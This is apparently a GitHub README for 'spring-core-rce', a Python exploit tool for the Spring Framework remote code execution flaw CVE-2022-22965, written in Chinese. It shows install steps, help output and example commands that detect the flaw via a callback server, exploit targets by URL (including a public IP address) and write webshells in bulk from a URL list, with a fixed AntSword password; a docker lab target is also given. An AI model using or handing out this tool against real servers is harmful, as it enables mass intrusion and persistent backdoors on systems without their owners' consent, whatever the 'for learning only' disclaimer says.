Skip to content

k3rwin/spring-core-rce

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

9 Commits
 
 
 
 
 
 
 
 

Repository files navigation

Spring Core RCE/CVE-2022-22965

影响范围:JDK>=9 的spring框架及衍生框架

文章指路

脚本仅供学习使用,如作他用所承受的法律责任一概与作者无关

1.installation

pip3 install -r requirements.txt

2.Usage

$ python3 spring-core-rce.py -h

 .----..-.-. .---. .-..-. .-..----.     .----. .---. .---. .----.     .---. .----..----.
{ {__-`| } }}} }}_}{ ||  \{ || |--' ___ | }`-'/ {-. \} }}_}} |__} ___ } }}_}| }`-'} |__}
.-._} }| |-' | } \ | }| }\  {| }-`}{___}| },-.\ '-} /| } \ } '__}{___}| } \ | },-.} '__}
`----' `-'   `-'-' `-'`-' `-'`----'     `----' `---' `-'-' `----'     `-'-' `----'`----'


                                                 Spring framework Core RCE
                                                                  By:K3rwin
usage: spring-core-rce.py [-h] [-u URL] [-s SYSTEM] [-r FILE]

Spring framework Core 0day RCE 帮助指南

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     指定url
  -s SYSTEM, --system SYSTEM
                        指定目标主机操作系统,默认linux,参数为win/linux
  -r FILE, --file FILE  指定url文件,批量写马

3.example

无损探测

-u,--url 或者使用-f,--file批量探测

-c,--check,参数为自建http服务,可用python3 -m http.server 80快速搭建一个web服务器

主要在内网且要求无损探测漏洞的情况下使用

python3 spring-core-rce.py -u "http://172.26.155.18:8080/" --check "http://172.26.155.18"

image-20220422153433867

使用 -u指定url,-s指定操作系统 参数为:linux 或者 win,默认为linux

python3 spring-core-rce.py -u "http://1.117.155.217:8080/" -s "linux"

image-20220331203209702

image-20220331203858753

使用 -r 批量写马 ,使用蚁剑连接,密码为k3rwin

python3 spring-core-rce.py -r "urls.txt"

image-20220402112140568

image-20220402112349943

4.Target

①.本地搭建docker靶场:

docker pull vulfocus/spring-core-rce-2022-03-29:latest

docker run -d -p 8080:8080 --name spring-core-rce -it vulfocus/spring-core-rce-2022-03-29

About

spring框架RCE漏洞 CVE-2022-22965

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages